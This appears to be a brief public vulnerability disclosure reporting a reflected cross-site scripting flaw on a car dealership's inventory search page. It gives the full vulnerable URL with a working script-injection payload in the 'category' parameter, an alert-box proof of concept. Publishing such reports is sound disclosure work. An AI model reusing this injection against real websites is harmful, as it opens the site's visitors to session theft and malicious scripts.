mapleridgevw.com XSS vulnerability

Vulnerable URL: https://www.mapleridgevw.com/all-inventory/no-results.htm?category=AUTO=%22-alert%28%27OPENBUGBOUNTY%27%29-%22&dl.custom.form.id;=&dl.element;=BUTTON+%0D%0ASearch%0D%0A&dl.formElapsedTime;=NaN&dl.formTrackingId;=INVENTORYSEARCH&dl.isModal;=&dl.params;=&dl.widgetName;= Details:...